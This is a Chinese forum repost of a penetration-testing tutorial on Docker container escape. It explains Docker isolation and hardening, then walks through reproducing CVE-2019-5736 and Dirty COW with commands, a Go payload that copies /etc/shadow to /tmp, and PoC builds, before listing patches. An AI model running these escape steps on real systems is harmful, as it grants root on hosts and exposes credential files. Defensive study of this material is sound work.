搜索

[18250] 2021-01-04_干货渗透测试之Docker逃逸详解

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-01-04_干货渗透测试之Docker逃逸详解 干 货 | 渗 透 测 试 之 D o c k e r 逃 逸 详 解 江 苏 智 慧 安 全   H A C K 之 道   2 0 2 1 - 0 1 - 0 4 前 言 在 虚 拟 化 技 术 日 益 成 熟 的 今 天 ， D o c k e r 作 为 必 须 使 用 的 一 项 服 务 ， 它 的 安 全 性 尤 为 重 要 。 今 天 ， 我 们 来 一 起 学 习 D o c k e r 最 大 的 安 全 威 胁 - - 逃 逸 技 术 。 D o c k e r 是 什 么 是 什 么 D o c k e r   是 一 个 开 源 的 应 用 容 器 引 擎 ， 基 于   G o   语 言   并 遵 从   A p a c h e 2 . 0   协 议 开 源 。 D o c k e r   可 以 让 开 发 者 打 包 他 们 的 应 用 以 及 依 赖 包 到 一 个 轻 量 级 、 可 移 植 的 容 器 中 ， 然 后 发 布 到 任 何 流 行 的   L i n u x   机 器 上 ， 也 可 以 实 现 虚 拟 化 。 容 器 是 完 全 使 用 沙 箱 机 制 ， 相 互 之 间 不 会 有 任 何 接 口 （ 类 似   i P h o n e   的   a p p ） , 更 重 要 的 是 容 器 性 能 开 销 极 低 。 最 早 的 时 候   d o c k e r   就 是 一 个 开 源 项 目 ， 主 要 由   d o c k e r   公 司 维 护 . 2 0 1 7 年 年 初 ， d o c k e r   公 司 将 原 先 的   d o c k e r   项 目 改 名 为   m o b y ， 并 创 建 了   d o c k e r - c e   和   d o c k e r - e e . d o c k e r - c e   是 社 区 版 本 ， 适 用 于 刚 刚 开 始   d o c k e r   和 开 发 基 于   d o c k e r   研 发 的 应 用 开 发 者 或 者 小 型 团 队 . d o c k e r - e e   是 企 业 版 ， 适 用 于 企 业 级 开 发 ， 同 样 也 适 用 于 开 发 、 分 发 和 运 行 商 务 级 别 的 应 用 的   I T   团 队 . d o c k e r - i o ,   d o c k e r - e n g i n   是 以 前 早 期 的 版 本 . D o c k e r 安 全 性 在 传 统 虚 拟 化 技 术 架 构 中 ， H y p e r v i s o r   虚 拟 机 监 视 器 是 虚 拟 机 资 源 的 管 理 与 调 度 模 块 。 而 在 容 器 架 构 中 ， 由 于 不 含 有   H y p e r v i s o r   层 ， 因 此 需 要 依 靠 操 作 系 统 内 核 层 面 的 相 关 机 制 对 容 器 进 行 安 全 的 资 源 管 理 。 容 器 虚 拟 化 安 全 容 器 虚 拟 化 安 全 在 资 源 隔 离 方 面 ， 与 采 用 虚 拟 化 技 术 实 现 操 作 系 统 内 核 级 隔 离 不 同 ， D o c k e r   通 过   L i n u x   内 核 的 N a m e s p a c e   机 制 实 现 容 器 与 宿 主 机 之 间 、 容 器 与 容 器 之 间 资 源 的 相 对 独 立 。 通 过 为 各 运 行 容 器 创 建 自 己 的 命 名 空 间 ， 保 证 了 容 器 中 进 程 的 运 行 不 会 影 响 到 其 他 容 器 或 宿 主 机 中 的 进 程 。 但 是 ， C G r o u p s   未 实 现 对 磁 盘 存 储 资 源 的 限 制 。 若 宿 主 机 中 的 某 个 容 器 耗 尽 了 宿 主 机 的 所 有 存 储 空 间 ， 那 么 宿 主 机 中 的 其 他 容 器 无 法 再 进 行 数 据 写 入 。 D o c k e r   提 供 的   - - s t o r a g e - o p t = [ ]   磁 盘 限 额 仅 支 持   D e v i c e
M a p p e r   文 件 系 统 ， 而   L i n u x   系 统 本 身 采 用 的 磁 盘 限 额 机 制 是 基 于 用 户 和 文 件 系 统 的   q u o t a   技 术 ， 难 以 针 对   D o c k e r   容 器 实 现 基 于 进 程 或 目 录 的 磁 盘 限 额 。 因 此 ， 可 考 虑 采 用 以 下 方 法 实 现 容 器 的 磁 盘 存 储 限 制 ： 为 每 个 容 器 创 建 单 独 用 户 ， 限 制 每 个 用 户 的 磁 盘 使 用 量 ； 选 择   X F S   等 支 持 针 对 目 录 进 行 磁 盘 使 用 量 限 制 的 文 件 系 统 ； 为 每 个 容 器 创 建 单 独 的 虚 拟 文 件 系 统 ， 具 体 步 骤 为 创 建 固 定 大 小 的 磁 盘 文 件 ， 并 从 该 磁 盘 文 件 创 建 虚 拟 文 件 系 统 ， 然 后 将 该 虚 拟 文 件 系 统 挂 载 到 指 定 的 容 器 目 录 。 此 外 ， 在 默 认 情 况 下 ， 容 器 可 以 使 用 主 机 上 的 所 有 内 存 。 可 以 使 用 内 存 限 制 机 制 来 防 止 一 个 容 器 消 耗 所 有 主 机 资 源 的 拒 绝 服 务 攻 击 ， 具 体 可 使 用 使 用   - m   或   - m e m o r y   参 数 运 行 容 器 。 S e c c o m p （ S e c u r e   C o m p u t i n g   M o d e ） 是   L i n u x   内 核 提 供 的 安 全 特 性 ， 可 实 现 应 用 程 序 的 沙 盒 机 制 构 建 ， 以 白 名 单 或 黑 名 单 的 方 式 限 制 进 程 能 够 进 行 的 系 统 调 用 范 围 。 在   D o c k e r   中 ， 可 通 过 为 每 个 容 器 编 写   j s o n   格 式 的   s e c c o m p   p r o f i l e   实 现 对 容 器 中 进 程 系 统 调 用 的 限 制 。 容 器 安 全 管 理 容 器 安 全 管 理 D o c k e r   的 内 容 信 任 （ C o n t e n t   T r u s t ） 机 制 可 保 护 镜 像 在 镜 像 仓 库 与 用 户 之 间 传 输 过 程 中 的 完 整 性 。 目 前 ， D o c k e r   的 内 容 信 任 机 制 默 认 关 闭 ， 需 要 手 动 开 启 。 内 容 信 任 机 制 启 用 后 ， 镜 像 发 布 者 可 对 镜 像 进 行 签 名 ， 而 镜 像 使 用 者 可 以 对 镜 像 签 名 进 行 验 证 。 为 了 保 证 容 器 运 行 的 安 全 性 ， 在 从 公 共 镜 像 仓 库 获 取 镜 像 时 需 要 对 镜 像 进 行 安 全 检 查 ， 防 止 存 在 安 全 隐 患 甚 至 恶 意 漏 洞 的 镜 像 运 行 ， 从 源 头 端 预 防 安 全 事 故 的 发 生 。 镜 像 漏 洞 扫 描 工 具 是 一 类 常 用 的 镜 像 安 全 检 查 辅 助 工 具 ， 可 检 测 出 容 器 镜 像 中 含 有 的   C V E   漏 洞 。 针 对   D o c k e r   镜 像 的 漏 洞 扫 描 ， 目 前 已 经 有 许 多 相 关 工 具 与 解 决 方 案 ， 包 括   D o c k e r   S e c u r i t y   S c a n n i n g 、 C l a i r 、 A n c h o r e 、 T r i v y 、 A q u a   等 等 。 容 器 网 络 安 全 容 器 网 络 安 全 由 于   D o c k e r   容 器 默 认 的 网 桥 模 式 不 会 对 网 络 流 量 进 行 控 制 和 限 制 ， 为 了 防 止 潜 在 的 网 络   D o S   攻 击 风 险 ， 需 要 根 据 实 际 需 求 对 网 络 流 量 进 行 相 应 的 配 置 。 在 存 在 多 租 户 的 容 器 云 环 境 中 ， 可 能 存 在 单 个 容 器 占 用 大 量 宿 主 机 物 理 网 卡 抢 占 其 他 容 器 带 宽 的 情 况 。 为 了 保 证 容 器 之 间 的 正 常 通 信 ， 同 时 避 免 异 常 流 量 造 成 网 络   D o S   攻 击 等 后 果 ， 需 要 对 容 器 之 间 的 通 信 流 量 进 行 一 定 的 限 制 。 由 于   D o c k e r   通 过 创 建 虚 拟 网 卡 对 （ e t h 0   和   v e t h * ） 将 容 器 与 虚 拟 网 桥   d o c k e r 0   连 接 ， 而 容 器 之 间 的 通 信 需 要 经 由 虚 拟 网 卡 对   e t h 0   和   v e t h *   通 过 网 桥 连 接 ， 因 此 ， 可 采 用   L i n u x   的 流 量 控 制 模 块   t r a f f i c c o n t r o l l e r   对 容 器 网 络 进 行 流 量 限 制 。
逃 逸 复 现 接 下 来 , 我 们 以   D o c k e r   1 8 . 0 6 . 0 - c e   版 本 为 例 ， 进 行 几 个 逃 逸 漏 洞 的 复 现 。 C V E - 2 0 1 9 - 5 7 3 6 D o c k e r 、 c o n t a i n e r d   或 者 其 他 基 于   r u n c   的 容 器 在 运 行 时 存 在 安 全 漏 洞 ， r u n C   是 用 于 创 建 和 运 行   D o c k e r 容 器 的   C L I   工 具 , r u n C   1 8 . 0 9 . 2 版 本 前 的   D o c k e r   允 许 恶 意 容 器 覆 盖 宿 主 机 上 的   r u n C   二 进 制 文 件 。 攻 击 者 可 以 通 过 特 定 的 容 器 镜 像 或 者   e x e c   操 作 获 取 到 宿 主 机   r u n c   执 行 时 的 文 件 句 柄 并 修 改 掉   r u n c   的 二 进 制 文 件 ， 从 而 获 取 到 宿 主 机 的   r o o t   执 行 权 限 。 修 改 修 改   r u n C   版 本 版 本 默 认   r u n C   版 本 是 无 法 复 现 该 漏 洞 的 , 需 要 手 动 修 改 安 装 安 装   d o c k e r 使 用 安 装 完 毕 后 , 可 能 会 自 动 进 入   d o c k e r   容 器 , 这 里 不 管 , 直 接 重 启 机 器 w g e t   h t t p s : / / g i t h u b . c o m / o p e n c o n t a i n e r s / r u n c / r e l e a s e s / d o w n l o a d / v 1 . 0 . 0 - r c 6 / r u n c . a m d 6 4 m v   r u n c . a m d 6 4   / u s r / b i n / r u n c c h m o d   + x   / u s r / b i n / r u n c r u n c   - - v e r s i o n w g e t   h t t p s : / / g i s t . g i t h u b u s e r c o n t e n t . c o m / t h i n k y c x / e 2 c 9 0 9 0 f 0 3 5 d 7 b 0 9 1 5 6 0 7 7 9 0 3 d 6 a f a 5 1 / r a w / c h m o d   + x   i n d e x . h t m l . / i n d e x . h t m l d o c k e r   - - v e r s i o n
启 动 容 器 启 动 容 器 等 待 机 器 重 启 完 毕 , 这 里 启 动   d o c k e r   服 务 , 然 后 进 入   d o c k e r   容 器 再 启 一 个   b a s h , 同 时 这 个 窗 口 不 要 关 闭 , 看 一 下   d o c k e r   容 器 的   I D 下 载 下 载   p a y l o a d h t t p s : / / g i t h u b . c o m / F r i c h e t t e n / C V E - 2 0 1 9 - 5 7 3 6 - P o C 下 载 的   m a i n . g o , 修 改 下   p a c k a g e , 改 成 然 后   w i n d o w s   下 需 配 置 编 译 参 数 , l i n u x   可 直 接 编 译 把 编 译 出 来 的 二 进 制 文 件   m a i n , 上 传 至 目 标 机 器 . s u d o   s y s t e m c t l   s t a r t   d o c k e r d o c k e r   r u n   - i t   u b u n t u : 1 8 . 0 4   " / b i n / b a s h " d o c k e r   p s p a c k a g e   m a i n v a r   p a y l o a d   =   " # ! / b i n / b a s h   n   c a t   / e t c / s h a d o w   >   / t m p / s h a d o w   & &   c h m o d   7 7 7   / t m p / s h a d o w " C G O _ E N A B L E D = 0 ; G O O S = l i n u x ; G O A R C H = a m d 6 4 g o   b u i l d   m a i n . g o
使 用 使 用   p a y l o a d 这 里 将   m a i n   复 制 到 容 器 的   / h o m e   目 录 下 , i d   值 就 是 之 前   d o c k e r   p s   看 到 的 值 回 到 一 开 始 的 窗 口 , 现 在 进 入   h o m e   目 录 , 就 可 以 看 到 上 传 上 来 的   m a i n   文 件 了 , 加 权 限 , 运 行 这 里 再 返 回 到 第 二 个 窗 口 , 这 个 窗 口 刚 上 传   m a i n   文 件 , 现 在 在 这 个 窗 口 里 进 入 容 器 , 触 发   p a y l o a d , i d   值 就 是 之 前   d o c k e r   p s   看 到 的 值 d o c k e r   c p   m a i n   x x x x x x x x x : / h o m e c d   / h o m e l s c h m o d   + x   m a i n . / m a i n d o c k e r   e x e c   - i t   x x x x x x x x x   / b i n / s h e x i t c d   / t m p / l s
可 以 看 到 ， 宿 主 机 下 t m p 写 了 s h a d o w 文 件 ， p a y l o a d 成 功 执 行 D i r t y   C O W ( C V E - 2 0 1 6 - 5 1 9 5 ) 使 用 账 号 u s e r ， 密 码 为 1 2 3 4 5 6 的 账 户 进 行 登 录 因 为 此 时 还 是 u s e r 用 户 ， 我 们 需 要 切 换 到 r o o t 用 户 来 进 行 D o c k e r 现 在 已 经 切 换 到 r o o t 用 户 ， 接 下 来 我 们 运 行 命 令 来 启 动 D o c k e r ： s u d o   s u   r o o t       / / 切 换 到 r o o t 用 户 1 2 3 4 5 6           / / 当 前 用 户 密 码 d o c k e r   i m a g e s       / / 列 出 本 地 的 镜 像 d o c k e r   r u n   - - n a m e = t e s t   - p   1 2 3 4 : 1 2 3 4   - i t d   d i r t y c o w   / b i n / b a s h       / / 使 用 本 地 1 2 3 4 端 口 连 接 d o c k e r 的 1 2 3 4 端 口 运 行 d i r t y c o w 镜 像 ， 并 将 其 临 时 命 名 为 t e s t d o c k e r   e x e c   - i t   t e s t   / b i n / b a s h c d   / d i r t y c o w - v d s o /         / / 进 入 d i r t y c o w - v d s o 文 件 夹 m a k e               / / 使 用 m a k e 命 令 编 译 . c 文 件 . / 0 x d e a d b e e f           / / 运 行 0 x d e a d b e e f   文 件
当 看 到 s u c c e s s f u l l y 的 字 样 ， 就 代 表 我 们 成 功 了   现 在 宿 主 机 的 桌 面 创 建 一 个 文 件 ， 如 果 可 以 创 建 ， 则 表 明 逃 逸 成 功 。 成 功 创 建 现 在 退 出 D o c k e r 修 复 方 案 更 新   D o c k e r   版 本 到   1 9 . 0 3 . 1   及 更 高 版 本   — —   C V E - 2 0 1 9 - 1 4 2 7 1 、 覆 盖   C V E - 2 0 1 9 - 5 7 3 6 更 新   r u n c   版 本   >   1 . 0 - r c 6 更 新   k 8 s   集 群 版 本 > 1 . 1 2 更 新   L i n u x   内 核 版 本 > = 2 . 6 . 2 2 — — C V E - 2 0 1 6 - 5 1 9 5 ( 脏 牛 ) 更 新   L i n u x   内 核 版 本 > = 4 . 1 4 — — C V E - 2 0 1 7 – 1 0 0 0 4 0 5 ( 大 脏 牛 ) ， 未 找 到   d o c k e r   逃 逸 利 用 过 程 ， 但 存 在 逃 逸 风 险 不 建 议 以   r o o t   权 限 运 行   D o c k e r   服 务 不 建 议 以   p r i v i l e g e d （ 特 权 模 式 ） 启 动   D o c k e r 不 建 议 将 宿 主 机 目 录 挂 载 至 容 器 目 录 不 建 议 将 容 器 以   — c a p - a d d = S Y S A D M I N   启 动 ， S Y S A D M I N   意 为   c o n t a i n e r   进 程 允 许 执 行   m o u n t 、 u m o u n t   等 一 系 列 系 统 管 理 操 作 ， 存 在 容 器 逃 逸 风 险 。 总 结 本 文 我 们 介 绍 了 D o c k e r 安 全 性 的 几 大 特 点 ， 并 以 C V E - 2 0 1 6 - 5 1 9 5 、 C V E - 2 0 1 9 - 5 7 3 6 作 为 例 子 进 行 模 拟 复 现 ， 成 功 从 D o c k e r 容 器 中 逃 逸 ， 控 制 宿 主 机 。 D o c k e r 逃 逸 漏 洞 的 危 害 非 常 大 ， 但 修 复 起 来 非 常 容 易 。 因 此 ， 及 时 升 级 D o c k e r 和 系 统 版 本 ， 严 格 控 制 启 动 参 数 ， 基 本 上 可 以 万 无 一 失 。 作 者 ： 作 者 ： 江 苏 智 慧 安 全 可 信 技 术 研 究 院 江 苏 智 慧 安 全 可 信 技 术 研 究 院 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道 c d   / h o m e             / / 进 入 到 h o m e 文 件 夹 l s                 / / 查 看 都 有 何 文 件 t o u c h   t e s t             / /   创 建 文 t e s t e x i t               / / 退 出 P O C e x i t               / / 退 出 D o c k e r c d   / h o m e             / / 进 入 h o m e 目 录 l s   - l               / / 查 看 当 前 文 件 所 属
如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ”
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理